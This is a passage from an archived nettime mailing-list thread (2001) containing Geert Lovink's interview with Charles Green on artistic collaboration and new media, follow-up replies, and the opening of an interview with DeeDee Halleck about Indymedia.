painting so close to conceptual artists'\nhearts - and I started my artistic life as an art student making\nconceptual art works alongside paintings at the very start of the 1970s -\nwas really always something else, and this is clear in those artists'\nwritings and statements: Painting was a cipher, a metonym, standing in for\nthe 19th century idea of the bohemian artist that artists came to despise.\nThis is the identity that you mentioned a moment ago.\n\nGL: One could say that the artists you discuss are not so predicting such\na shift in an avant-garde way but rather responding to and reflecting this\nlong-term trend so visible on the work floor, within academic disciplines\nand in everyday life. We see advanced forms of the division of labor\nreflected in hybrid art practices transcending singular subjects and\nmedia. Or is this reading perhaps a banal and mechanical Marxist\ninterpretation?\n\nCG: You are very right at one level, but there's more to it than that, for\nthe productivist aesthetic implicit in Marxist-oriented modernism was also\nrejected by those artists, at least for the most part initially, though\nthat model, which ends up entailing a more conventional idea of\ncollaboration - the collective - returned later. Their collaborations were\nnot so much a way of connecting with a social project - though it was in\nthe case of Art & Language AFTER its start, whose history I leave to the\nmany other people who are working on it - as a way of working out if it\nwas possible to engage in such activity. As time went on, and so many\nwriters have traced this, the desire to see political action in art\nthrough collective work increasingly replaced the desire to see if\ncollaborative action could facilitate, through the removal of the artist,\na new zone between art, writing and history. THIS zone fascinated me, not\nthe ability to connect art and politics, and I think it is implicit in a\nlot of the activity around now, in defining the new intermedia genre in\ncontemporary art, only some of which involves new media, and some of which\ninvolves a kind of dumbed-down sneaker aesthetic.\n\nGL: What can you tell us about the art of collaboration? Gilbert & George\nre still together but Marina Abramovic and Ulay broke up in a rather sad\nway. People these days invest a lot of their time and energy in (online)\ncollaborations and get deeply disappointed when collaborations are falling\napart. I have to think here what Michel Foucault writes about friendship.\nYou have are collaborating yourself. You must have thought about this.\n\nCG: Abramovic and Ulay apparently met again recently on the occasion of\nMarina's 50th birthday, and they danced the frozen tango position\nimmortalized in one of their endurance works together, or at least a\nfriend tells me so. There's something else to remember. Collaboration is\nnot the same as friendship, and by friendship connotes cooperation.\nFriendship is always fragile since its contract is so unenforceable.\nDemands in and on friendship are always ultimately unsustainable, unless\nfriendship is governed by an economy of civility. Collaboration involves\nmuch, much more. Collaboration involves the articulation of contractual\nrelations. As I worked on my project, which as I said before started out\nas an attempt to explain a foundational moment in art that was\nspecifically important to me, I realized that artistic collaboration was\none lens through which to explain the wider world of artistic change. It\nwas a microcosm, and I'm an art historian rather than an art theorist,\nwhatever that is, horrible term. But it was also important at a certain\nmoment for the reasons I mentioned earlier - outmoded ideas of what an\nartists does, where, and how, even why, all these had to be defeated if a\nconvincing post-studio art was to emerge (I'm borrowing, as I do in the\nbook, Michael Fried's priority: the art of a specific time has to convince\nits viewers of that time, and it can't do that through stale clich\u00e9s).\nThen way after that, and here I come back to your question, I realized\nthat the typology of types of collaboration I had drawn up (cooperation in\ncollective, short-term cooperation; corporate, bureaucratic groups or\npartnerships; married couples and families; and finally intensely and\npublicly bonded couples who created \"third artists\") also formed itself\ninto a narrative, for certain types of collaboration were answered by\nothers as each proved to be inadequate in the solution of artistic\nproblems. Productivism gone mad. The final type of collaboration I list -\nthe couple who identify themselves with their art - is exemplified by both\nMarina Abramovic's work with Ulay, but also by Gilbert & George. I don't\nknow that there are any rules about collaborative longevity, but it seems\nto me that the collaborations that modeled themselves on family\nstructures, with the collaborative identity rather like a castle wall\nbehind which roles could be swapped and reversed - was an easier model to\nsustain than this unless civility was the basis of relationship, which it\novertly is with Gilbert & George, who are even models of cooperation and\ngenerosity to intrusive art critics like myself. Self-revelation was\nimplicit in the \"third hand\" collaborations, and is unsustainable since\nits comprehension, even by the artists themselves, always comes a moment\nafter experience, which in turn comes a moment after the event of\nillumination, as Buddhist theology argues. I'm interested that you mention\nthe difficulty of on-line collaborative sustainability. I know that\nsustainability and the particular types of collaborative contract are\nlinked. The problem lies, again, in confusing collaboration with\nfriendship. Collectives are not the same as collaborations. All of the\nartists I researched worked together for long periods of time. It is\nhighly unlikely that Christo and Jeanne-Claude, or Ann and Patrick\nPoirier, or Helen and Newton Harrison, or Gilbert & George, or a host of\nothers, would choose to work outside their collaboration. Too much\ninvested and too much mutual pleasure is obvious. But other\ncollaborations, like Mel Ramsden and Ian Burn, who later joined Art &\nLanguage, were not based on sexual partnership at all, and even in their\ncase the contractual relationship seemed to have been articulated fairly\nearly and fairly clearly. When we started to work as a collaboration -\nLyndell and I - we realized that we needed to commit to working together\nfor the rest of our lives, and slightly later we realized that we had to\ncompletely abandon any idea of part-time solo production. We can give over\na whole series of work now to one of us to produce - that, I think, is not\nunusual - but everything is under the umbrella of teamwork.\n\nGL: Brion Gyson and William Burroughs are discussing collaboration in\nterms of the creation of a 'third mind.' Other artists in your book use\nsimilar terms. It is almost as if a new identities, a new persona is\ncreated. Where is this will to become someone else, to design another\nidentity is coming from and what's exactly so liberating about this\ndesire?\n\nCG: What is liberating is liberation. What is liberation? Freedom from the\nprison-house of language, or reconciliation to it, as in successful\npsychoanalysis? Artists who constructed doppelg\u00e4nger or doubles were\ninvolved in flight outside the prison-house of language--if it can be\njudged to have been successful-and this was possible precisely because of\ncollaboration, which means the teams' escape as individual \"artists\" from\ntheir personal bodies into the uncanny but mobile realm of phantoms.\nBuried in my footnotes in the book are constant arguments through, not\nreferences to, the concept of absence--the absence as ground familiar from\nwell-known post-War philosophy, from Heidegger & Co., but also\nspecifically through later Mahayana Buddhism that denies the ultimate\nreality of all essences. Abramovic and Ulay happened to have become\ninvolved directly in this philosophy from one point of their\ncollaboration, and they were acknowledging a sophisticated, non-Western,\nquasi-deconstructive precedent in Mahayana Buddhism. But I'm not doing\nanything so obvious as conflating absence with the restoration of the\npast, of a spurious humanism, however well-intentioned, that seeks to\noppose \"spirituality\" against \"deconstruction\". Abramovic/Ulay's\nperformance actions are NOT Buddhist, just as Barnett Newman's zip 1960s\npaintings are not Kabbalism. It's more complex than that.\n\nGL: So you're saying that collaboration, in these specific cases, is an\nact of disappearance, not born out of a Will to Production, to create a\nnew born identity, out of a desire to break through the limitations of the\nSelf but to neutralize. Not 1 plus 1 makes 3 but 1 minus 1 is zero. Is the\ndrift towards absence perhaps a secret history, underneath the perhaps all\ntoo obvious psycho-analytic dynamics between the two parties involved?\n\nCG: Good point. Absence is ground. It is a secret history, entangled with\nthe more public history of the impact of Buddhism in Western culture and\nart, especially post-1945. Not that Mahayana EXPLAINS anything artistic,\nbut is it another contextual framework for understanding what is\nhappening. You see, in the West we are awfully Ameroeurocentric. So when\nwe think about camouflage and withheld identity and withheld\nself-disclosure we look to particular, belatedly canonic texts, to writers\nlike Callois or Bataille. But on the ground, amongst artists, a whole\nother genealogy is already at work, BEFORE we even get to the task of\ninterpretive frameworks. The exceptions - and their work is immensely\nexciting - are the books of Leo Bersani and Alysse Dutoit, books like\nCaravaggio's Secrets or Culture of Redemption. This is a very\nsophisticated anti-psychoanalytic method of reading texts. It's critically\nimportant if we think about improvisatory authorship, or artistic\ncollaboration.\n\nGL: These days more and more theorists are questioning the revolutionary\npotential of the identity change. New identities are becoming commodities.\nOne could almost see such 'third bodies' or shared spaces as an natural\nnext step in the capitalist development rather than a subversive practice.\nBut that's perhaps nothing new. Such a cynical analysis of the late\nsixties perhaps destroys the primal drive of that time, which was so full\nof energy to discover other dimensions.\n\nCG: I can see that.. Through the 1990s the discourse of the Other, of\nmarginalized groups, became just another rhetorical lingo. Sarat Maharaj\nis particularly acute and cutting on this topic. And so I'll be interested\nhow he and Okwui Enwezor negotiate this in the process of creating\nDocumenta XI. The question is - and it's easy to answer - whether\nauthenticity and inauthenticity can be mapped onto the contemporary\nlandscape any differently to the 1980s (Saint Andy Warhol's decade). How\ndo we imagine September 11? Do we blame? What are the ethics in taking\nhuman life under any circumstances? Similar questions came up in Australia\nin the early 1990s, as artists realized that the image haze of\nimage-scavenging simply could not include Aboriginal motifs.\n\nGL: Within theatre, film and music collaboration is a necessity otherwise\nthere is not art work to be experienced in the first place, except for a\nsolo work performed by the artist him or herself. Within new media art a\ncollaboration between the programmers, designers, curators and\ninstallation builders seems almost essential and this process is only\ngetting more complicated with the development of more sophisticated\nhardware and software. There are hardly any new media art work produced by\na single person. However, often there is no shared authorship as you\ndiscuss in your book. The collaborations between the visual artists you\ndescribe seem to happen on a fairly equal basic. In many cases however\nthere are big fights over authorship which all have financial\nrepercussions in terms of reputation and careers. You're not really\ntouching this topic in your study. Is that because the idea of\ncollaboration within the conceptual arts discourse is still a young one?\n\nCG: No, not at all. Many of the players are still alive and litigious, so\nit is sometimes hard to work out the truth. Conceptual art, especially,\nhas been marked by a fierce, absolutely fierce series of attempts by many\ndifferent artists to claim primacy and position, and in the process old\nfriends become enemies. You are right, though, to suggest that the\ndiscussion of collaboration is young, especially if it has the\nsignificance that I ascribe to it. There's been very, very little analysis\nof the issues I describe, though a lot on other areas. Strangely enough,\nmost artists have a massive investment in their own interpretation of\ntheir works, and in actively policing other interpretations. This desire\nto police the audience now seems both distant and odd, but those artists\nwere determined to avoid \"misinterpretation.\" One artist said, \"What I say\nis part of the art work. I don't look to critics to say things about my\nwork. I tell them what it's about.\" All the art that really interested me\n- and most of the art that currently interests me - involves, to some\nextent, the abdication of authorial intention as the exclusive determinant\nof reading. I have run foul of this before. Recent moral rights\nlegislation will concrete and solidify this control, and artists have been\nvery reluctant to understand that the few cents they derive from copyright\nfees will be offset by more and more strict rules against appropriation\nand copying, which is how artists have always worked. This will have a\nhuge impact of web-based art. Traditional expressive modes or production\nare privileged under these legal regimes, and these are by far the most\naesthetically bankrupt.\n\nGL: Certainly. Over the last decades collaboration has become so closely\ntied to legal issues. Is the legal business in danger of destroying the\naura of collaboration? What would you advice artists if they are thinking\nabout engaging themselves in a long-term collaboration? Would you\nencourage them to make contracts or is that a step in the wrong direction?\nI have seen many cases in which the bureaucratic partner in crime ran away\nwith the contracts, IP, ownership of content, equipment and brand\nrecognition, while the creative partners were left out in the cold. Who's\nthe happy one remains to be seen. Is there anything to be learned from the\nseventies generation?\n\nCG: I don't want anyone to think that I'm valorizing or glamorizing\nartistic collaboration. It's inherently no more important than anything\nelse. I'm not the least bit impressed by any supposed aura surrounding any\nmode of production. And the legalism of conceptual artist collaborations\nwas part of the point of the work. The discourse surrounding the work WAS\npart of the work. Contracts aren't worth the paper they are printed on in\nthe art world, which is why the artist/dealer contract movement never got\nanywhere, much like resale royalties (droit de suite), but is why its\nspin-offs (dealers usually now spell out in writing the terms of their\nassociation with each artist) were useful. The point about artistic\ncollaboration is that it is a test in which individual identity is\nsubordinated to a so-called higher good - the work of art. It's a lot like\nworking on a magazine. Not everyone is suited to cooperation, but the art\nworld glamorizes narcissism and has an incredibly short attention span. My\nsimple point is that self-presentation is constructed, usually\nself-consciously, and that the resulting figure is sometimes central\nwithin the work of art. The lesson of the seventies generation is that\nthey did not compromise, and that they worked out protective structures to\nallow that. I approach new media from the point of view of a participant\nin the world of contemporary art, and it's worth understanding that the\ntwo are not the same. I gave a paper at a conference recently -\n\"Dislocations\", which was organized by Cinemedia (Melbourne) and ZKM\n(Karlsruhe). Peter Weibel and Lev Manovich were the keynotes. Weibel's\npoint, apart from his sci-fi, William Gibson behaviouralism and the\nmistaken idea that memory exists, was good: new media is in a bleated\nrevolutionary, avant-garde phase in which the invention of new\ntechnologies and forms is more important than the deconstruction of those\nforms; new media, however, he says, has a long pre-history from the period\naround the 1970s onwards. The other keynote, Lev Manovich, was thinking in\nthe opposite direction, horizontally, at the level of a taxonomy of\ndata-base-based new forms, principally of internet cinema. But listening\nto Lev, I wondered if his disdain for narrative was echoed in the\nimpoverished visuality of many of his quasi-interactive Internet project\nexamples, and why, given the role of montage in most of these new works\nand theories, Jean-Luc Godard's theories of montage and sound (both pre\nand post Histoires du Cinema), we are compelled to reinvent Godard's\nwheel. As Peter Lunenfeld reminds us all in Snap to Grid, this milieu\nfaded to black. I suppose the thing that worried me about Lev Manovich's\npresentation was the way he was positing video artists like Doug Aitken\nand Douglas Gordon (we can add Mariko Mori, Shirin Neshat, Matthew Barney)\nas belated popularizers, the same way avant-garde film-makers used to look\ndown on art-house movies. He was working straight out of a productivist\nset of criteria, horizontal and unstratified, in which technological\ntake-up and formal difference govern attention. What kind of cultural\ndynamic is at work here historically? Are we witnessing the re-creation of\nthe same space as that once occupied by alternative, experimental,\navant-garde cinema?\n\nGL: I suppose art critics are in a better position to answer this\nquestion. I would say that we are in worse situation, compared to the\ngolden days of Godard. Art, and with it experiental electronic arts, has\nbecome isolated and can therefore no longer claim an avant-garde position.\nWithin this tragic, inward looking position, having been neutralized of\nany substantial potential, art is hidden within academia, self-referential\ncircles and the thick walls of the museum and galleries. The caved art\nsystem has created its own autonomous space in which it can celebrate its\nwon freedom. The price for the gained sophistication is its isolation from\nsociety. No matter how innovative, subversive or creative media works are,\nthey seem unable to bridge the Disciplinary Divide. So, yes, new media\nartists can reinvent Goddard's wheel and create a exciting new school of\ndigital modernism (or give it a name) but their works will remain\nunknown-and will be of homeopathic influence on the global mediascape.\nThere is a total lack of mediation between the artworks and popular\nculture. This situation prompted pioneer computer game developer Brenda\nLaurel to publicly distance herself from art (and activism). \"It took me\nyears to discover,\" she writes in her latest post dotcom essay, \"that I\ncouldn't effectively influence the construction of pop culture until I\nstopped describing myself as a. an artist, and b. a political activist.\nBoth of these self-definitions resulted in what I now see as my own\nself-marginalization. I couldn't label myself as a subversive or a member\nof the elite. I had to mentally place myself and my values at the center,\nnot at the margin. I had to understand that what I was about was not\ncritiquing but manifesting.\" (Utopian Entrepreneur, The MIT Press, 2001).\nHow sad (and true) this all sounds, specially if one compares it to hopes\nand dreams of the roaring twenties--and sixties. This is why many in new\nmedia culture re-label themselves and work as designers and look for a way\nout in science, architecture and film. Brenda Laurel thinks that \"culture\nwork\" is a more appropriate description of what she does.\n\nCG: I hate to remove the drama from a text, but I agree with you\ncompletely, and I'm speaking from the other side of the wall, as an artist\nand as an art historian whose life has been bound up in art. So the\nproblems are double. For a start, Manovich's horizontal taxonomic approach\nis good reportage and important right at this moment but it trivializes\nthe issues and the stakes. The cards then get dealt behind the scenes. We\nknow by now, from indexical events like the Whitney Biennial, that the art\nworld has been slow to take up technological innovation except in marginal\nand cosmetic ways, and because new media is only partly concerned with\nitself as art, it tends to have a somewhat touching and definitely na\u010fve\nbelief in either art or its irrelevance. This overlaying of \"art\" onto\ninformation, this understanding of the aesthetic as a surplus, I wrote\nsomewhere recently, inevitably obscures the very information function we\nvalue about the internet. It occludes any archival function - any real\ndata-base truth-value - in terms of information storage, even as it\ninsists on a memorializing and educational function (not at all the same\nthing as an artistic function). Why make art when you can take a\nphotograph, write an e-mail or make a film? The alternative lies in\nunderstanding the priorities involved in contemporary art, for a start.\nThe necessary commodification involved in a successful art practice\neliminates certain trajectories, but not in the way you'd think. Scarcity,\nbranding, uniqueness, aura, charisma, all survive the elimination of the\nunique work, oil paint, traditional media, and personal manufacture and\nhandiwork, even complete deskilling, which was a basic 20th century\navant-garde tactic. But if we take all this on board, we still have to\nadmit art's almost total loss of a vanguard cultural position. I'm still\nleft with the question of how to explain the art world fascination with\nnew media right now. Increasingly, the term \"intermedia\" is being used to\ndefine works that involve translation and retranslation from medium to\nmedium. Often, as in the works of the South African artist William\nKentridge, this results in a suite of works in different media ranging\nfrom animated films through traditional prints through to puppets. My\npoint is that copying and compositing are definitely NOT the sole domain\nof new media right now. But right now, in many people's minds, new media\noccupy a role related to and ALMOST equivalent to intermedia. There's a\nwindow of attention that briefly coincides with the windows of\ntechnological innovation and media evolution, but it's none of the three\nthat ultimately govern attention except in a sub-culture. Geography,\nculture, injustice, globalization: all of these forces periodize new media\ninstantly.\n\nCharles Green, The Third Hand, Collaboration in Art from Conceptualism to\nPostmodernism, University of Minnesota Press (USA)/University of New South\nWales Press (Australia), 49.95 AUD. More info: www.unswpress.com.au and\nwww.upress.umn.edu\n\n\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00034.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Charles Green",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "\"David Garcia\" <davidg {AT} xs4all.nl>",
                        "content": "\n\nThis is a timely and critical discussion and I\u0161m looking forward to getting\nhold on Charles Green\u0161s book. Nettime\u0161s history of a \"creative tension\" with\nthe visual arts and artists makes this an interesting context to explore\nthese ideas. There are so many points to be raised by this interview but I\njust want to develop a few. And I want to add that as I am yet to read the\nbook the points raised are addressed to the interview only.\n\nCharles Green\u0161s desire \"to see political action in art through collective\nwork increasingly replaced the desire to see if collaborative action could\nfacilitate, through the removal of the artist, a new zone between art,\nwriting and history. THIS zone fascinated me, not the ability to connect art\nand politics\"\n\nAlthough I accept that every author must focus on what fascinates them I\nreally wonder whether it is possible to understand any of the significant\nwork of this time outside of the political. Not in the sense of art in the\nservice of particular campaigns but of a broader movement. This period was\nsaturated in utopian optimism of an intensity that is difficult to imagine\ntoday. The freedoms won when large numbers of artists threw off Greenburg\u0161s\nformalist constraints and began making works unmediated by the conventions\nof spescific mediums was widely perceived as part of a wider emancipatory\nmovement. This is the era which marked a move from experimenting with form\nand materials to experiments with language, contexts and roles. In this\nregard Dan Graham is an interesting figure.\n\nLucy Lippard..Dan you\u0161ve been called a poet and a critic and a photographer.\nAre you an artist now?\nDan Graham: I don\u0161t define myself, but whatever I do, I think is defined by\nthe medium....\n\nHe might have added that what he does is defined by the role he adopts. The\npoint is that once released from the requirements of any spescific medium\nthe artist is free to explore hybrid identities:\"artist, scientist,\ntechnician, craftsperson, theorist, activist, could all be mixed together in\ncombinations that had different weights and intensities.\"\n\nThis is the moment when the aspect of the art-world which nourishes\natavistic personality cults is momentarily weakened not only making\ncollaboration easier but also allowing a more spescific role to emerge:\nartist as visual researcher.\n\nWhen regarding the emergence of new approaches to research and collaboration\nin this era it is important not to overlook the immense influence of radical\nforms of psychology. At the time a battle raged (every bit as bitter as\nbetween free software and propriotory coders) between the two rival\npsychological models of the age; American behaviorists and the European\nphenomenologists.\n\nR.D Laing one of the the leaders of European phenomenological psychology\n(seldom read today) described the polemical divide in a way that could also\nbe seen as almost programmatic for much of the important art of this era:\n\"We can see other people\u0161s behavior but not their experience. This has led\nsome people to insist that psychology has nothing to do with the other\npersons experience, but only his behavior\nThe other person\u0161s behavior is an experience of mine. My behavior is an\nexperience of the other. The task of social phenomenology is to relate my\nexperience of the other\u0161s behavior to the other\u0161s experience of my behavior\nIts study is the relation between experience and experience: its true field\nis inter-experience\"\n\nInterestingly although Dan Graham and a number of others who were generally\non the Laingian side of the argument but the actual works, the video\nrecordings, installations and performances tended towards the cool\nlaboratory like approach of the behavioral psychologists.  Without wishing\nto descend into technological determinism the introduction of video in this\nera plays an important role.\nIt was in the 1960\u0161s Sony introduced the \"industrial standard\" video\n\"portopacks\". Although never a commercial success this format immediately\nbecame a vital tool for three distinct classes of practitioner; artists,\npolitical activists and behavioral research scientists.\nThe role of video in articulating the importance of representation for both\nartists and political activists has often been explored, and we might even\nspeculate that the shift from class politics to the politics of identity may\nin part have arisen through greater access to the tools of mass media\nrepresentation. But although this kind of work can be seen in general terms\nas part of this process, in other respects it is closer to the methodology\nother great beneficiary of video; the behavioral sciences.\nThe critical importance of the introduction of video for certain areas of\nbehavioral research is often overlooked.  Researchers (particularly in the\nfield of Developmental Psychology) have stated that its introduction has\nbeen of comparable importance to the telescope for astronomy or the\nmicroscope for life sciences. Even today video remains the basic research\ntool for almost all close and systematic observation of human, non-verbal\nbehavior\n\nThe artists who understood this fact also gave primacy to reception and\nbehavior, allowing them to extend the notion of collaboration to the\naudience. In these works the psychological and social nexus created by the\nsocial context becomes the subject.\n\nDavid Garcia\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00073",
                        "date": "Sat, 15 Dec 2001 11:26:45 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200112151855.NAA29878 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00073.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> Interview with Charles Green"
                    },
                    {
                        "from": "Dr Charles Green <c.green {AT} unimelb.edu.au>",
                        "content": "\n\nDavid Garcia's response to the fibreculture interview by Geert \nLovinck with me regarding my book on artist collaborations, The Third \nHand, is thoughtful and wise.\n\nHe asks \"whether it is possible to understand any of the significant \nwork of this time outside of the political. . . . This period was \nsaturated in utopian optimism of an intensity that is difficult to \nimagine today. The freedoms won when large numbers of artists threw \noff Greenburg's formalist constraints and began making works \nunmediated by the conventions of specific mediums was widely \nperceived as part of a wider emancipatory\nmovement.\"\n\nHe is right, and these are exactly the points I make all through my \nbook, which takes great care to name and explain the wider \npsycho-social context, and the different way that artists conceived \nof their activities, which was much more holistic and complex than \nthe simple connection of art to politics as this had been imagined \nbefore.\n\nMr Garcia notes that he has not read my book, and I think that when \nhe does he will find that I have tried to home in on exactly the \nnow-obscured motivations and distinctions he thinks should be \nremembered. This recovery, and the analysis of a foundational moment \nbeyond the 1980s context of a transition into postmodernism, was one \nof my chief motivations in writing a revisionist history of art that \nhas importance to contemporary visual culture beyond a narrow history.\n\nCharles Green\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00077",
                        "date": "Sun, 16 Dec 2001 12:49:47 +1100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200112161634.LAA23183 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00077.html",
                        "content-type": "text/plai",
                        "author_name": "Dr Charles Green",
                        "subject": "Re: <nettime> Interview with Charles Green"
                    }
                ],
                "message-id": "200112090438.XAA13677 {AT} bbs.thing.net",
                "date": "Sat, 8 Dec 2001 08:57:21 +1100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "dhalleck <dhalleck {AT} weber.ucsd.edu>",
                "id": "00013",
                "content": "\n\n\nInterview with DeeDee Halleck by Jakob Weingartner\n\nHow would you describe the strategy of indymedia?\n\nThe Seattle Indymedia site was inaugurated as part of setting up an\nIndependent Media Center so that all of the many movement media comng to\nSeattle could collaborate. There was a growing realization that radio,\nvideo, print and art groups could effectively work together on specific\nissues.  Before Seattle, there was the case of the impending execution of\nindependent radio journalist Mumia Abu Jamal.  Although there was no\nphysical center, nor a coordinating web site, a national meeting of\nalterntive media folk made a committment to try to collaborate a campaign.  \nIn the space of very few weeks many of us worked collaboratively to make a\nmedia blitz to counter the State of Pennsylvania\u0092s assigned date for\nexecution: radio programs, videos, satellite broadcasts, special print\ninserts, posters and a CD Rom were made with, for the first time, a real\nsense of collaboration between different media.  Throughout the country\nthere were continual messages against the death penalty and in favor of a\nnew trial for Mumia.  For the moment, it worked, and the state postponed\nthe execution. (Though Mumia is still in jail and may still be executed.)\n\nWith the convergence of many groups to Seattle in 1999, we knew that the\nsort of campaign that had been waged to save Mumia might be an effective\nway to get the message of the anti-corporate movement before the public.  \nSo we planned to do a similar sort of cross media collaboration. The web\nsite was just to be a place where we could post our work.  Before Seattle\nhappened, I don\u0092t think anyone really imagined that the web site would be\nsuch a popular and effective tool.  Sure, many groups have web sites, but\nthe dynamism of the Seattle site was phenomenal.  This was to a great\nextent due to the unique potential of the Catalytst soft ware, which made\nit easy for everyone to post not only text, but photos, video and audio\nfiles.  Catalyst was developed in Australia by Mathew Arnison and others\nfor use by Australian activists.  Mathew just happened to be in Boulder\nshortly before Seattle and was able to introduce Manseur Jacobi and other\ntech people to the Catalyst code. The strategy per se was just to make it\nas accessible as possible, not only for downloading, but also for\nuploading.  I think that only after the site went up and became so\neffective that we began to really understand what a powerful tool it was.\n\nDoes indymedia want to put pressure on the mainstream media in order to\nforce them to alter their news coverage? Or do you follow a concept of,\nlet\u00b4s call it \u0084counter-information\u0093? If that\u00b4s so, do you see the danger\nof addressing an inner circle of already leftist people? There is a\nconstant struggle within indymedia as to what the attitude should be\ntowards the main stream media.  There are those who think that indymedia\ncan pressure corporate press to be more honest.  I think that yes there\nhave been stories that we \u0093broke\u0093 and forced main stream media to take\nnotice and report.  There are those who think we should court the press\nand get them to \u0084cover\u0093 indymedia and that \u0084legitimates\u0093 us.  I pretty\nmuch disagree and I guess I am in the camp that says fuck the corporate\nmedia, let\u0092s make our own!\n\nThe distrust of mainstream media has been codified in one version of the\n\"IMC Blueprint\" with the following rules: \"Try to get mainstream media to\nschedule times to come to the IMC so it is possible to let everyone know\nthey were are coming.  If possible, we try to clear a the scheduled\nmainstream media visit through a general meeting. 2.  All mainstream media\ndoing articles on the IMC should register as mainstream media - it is even\npossible to give them special passes to wear while they are in the IMC. 3.  \nSomeone from the outreach team can accompany mainstream media at all times\nwhen they are in the IMC\".\n\nSometimes IMC activities do catch the interest of the press and greatly\nincrease the number of visitors to the web site. As related by \"J.M.G.\" in\na process discussion:  Creative applications of the Internet technology\nduring the S11 protests demonstrated the ability of the Net to not only\nfunction as an organizational tool but also as a form of civil\ndisobedience in cyberspace. The tongue-in-cheek link to JohnFarnham's\n'You're the Voice' - chosen as the S11 song - and the clever 'hactivism'\nwhich redirected users from www.nike.com to www.S11.org, generated\nconsiderable discussion within the press, radio and television media. This\npublicity alerted new audiences to the existence of the site incrementally\nincreasing the number of hits the site received. The old media was\nimportant in publicizing and drawing attention to the new, highlighting\nthe fact that, although the Net is an important new tool, activists still\nlargely rely on coverage in the traditional media and cannot rely solely\nupon the emerging communications networks.\"\n\nMain stream critics have snidely put down the indy media activity as being\ncontradictory: using corporate tools such as the internet to attack\ncorporate agenda. Indymedia makers have countered that that is a time\nhonored guerrilla tactic-- to turn the tools of the oppressors against\nthem. However, a more considered rejoinder is that the internet was\ndeveloped in a collaborative process through public funding via\neducational institutions.  The creation did not spring from a search for\nprofitable products to market.  The entire effort was subsidized by public\ngrants and nurtured in an atmosphere of mutual cooperation, not unlike the\nprocess of indymedia itself.  The early internet researchers were not\ninitially making products that the commercial sector could (and would)\ndevelop.  As e-commerce takes over much of the band width, it is efforts\nsuch as indy media that are preserving the authentic interactive potential\nof the internet and, as such, preserving its role as a progressive public\nresource.\n\nAs to the question of preaching to the choir.. well, first of all the\nchoir needs information and \u0084to be preached to\u0093, otherwise how can we all\nsing together?  But with the sorts of numbers indymedia is generating in\nterms of daily visitors, we are certainly going beyond any concept of\n\u0084inner circle\u0093. This is a broad audience.  But moreover it is not passive:  \nthere are almost as many posts as there are visiters.\n\nIndymedia recently celebrated its 2 years of existence. If you look back\nat the development of the antiglobalisation-movement and the\nimplementation of independent media in it, which goals have been reached,\nwhere have you failed?  What has changed?\n\nCertainly we have changed the perception of the public in terms of global\ntrade organizations.  No one looks at the WTO or the World Bank as being a\nbenevelent organizations any more.  That is clearly a huge victory.  In\nterms of failure, I think the biggest problems are the same problems we\nsee in the world around us: the vast inequities in access to resources,\nthe deeply rooted problems of racism and sexism and the ever present\ntemptations of consumer culture. There are few indymedia centers in the\nSouth.  Women and people of color are still in very much the minority at\nindymedia centers and many of the creative young people who have learned\nto make media at indymedia are sucked off into the corporate world so that\nthey can pay off their credit cards.\n\nHow has the strategy of indymedia changed through this 2 years? (Perhaps\nyou would like to answer this question chronologically, starting with\nseattle, over washington, prague, genua etc.) I don;\u0092t see \u0084change\u0093 per\nsay, but just a sort of evolution and growth, which varies depending on\nthe location and the persons involved.  One exaample of a particularly\nactive group is dcimc, which is making a 24 hour radio station, a tv\nchannel that scans all the other imcs and posts a sort of roving video\nstring.  Also DC has perfected the use of the imc archives as counter\nsurveilence: checking for images of police undercover provacateurs,\nrecording police abuses (such as taping over their badge numbers with\nblack tape and excessive violence) and other sort of vigilant activity.\n\nGenoa was amazing in the production of breaking news.  It was a global\ninteractive event.\n\nhow have the wtc/pentagon bombings changed the work of indymedia? It is\nhard to say what the ultimate outcome will be.  The images of black bloc\nkids at globalization protests seem curiously out of place in the current\nimage climate.  But the imcs have been very useful in providing an\nalternative to the jingoism of corporate press. Certainly the New York IMC\nhas played a very useful role in uniting the community of media makers and\nartists in the WTC area..\n\nIs the imc being exposed to a lot of hate in this heated up situation\nsince it so openly opposes the \u0084war against terror\u0093 lead primarily by the\nus-government? There have been individual indymedia people attacked, but\nnothing so far, in terms of specific repression.  I would say that the\ndanger is more of intimidation: with Ashcroft\u0092s draconian laws in effect,\none wonders where the sword will fall.\n\nAn interesting aspect to the new legislation is that anyone attacking\nproperty or threatening US business interests is in the same catagory as\nairplane hi-jackers.\n\nThe ongoing or even concluded process in which the media-output is being\nmainstreamed as far as the war in afghanistan and it\u00b4s propagandistic\ncounterpart in the usa is concerned is quite terrifying.  What has to be\ndone in order to deconstruct the hegemonic, and if you want to go that\nfar, imperialistic discourse dominated by the us-government from your\npoint of view? Which role should the independent media play in the\nanti-war movement? It is very important that the independent media make\ncogent criticism of the corporate media.  Just as the WTO struggle is a\nglobal one, the stuggle against corporate media needs to be made global:\nwe need to have a global initiative to preserve the airwaves and bandwidth\nfor free speech and creative expression.  In 2003 thre will be a global\nmedia meeting in Geneva at the 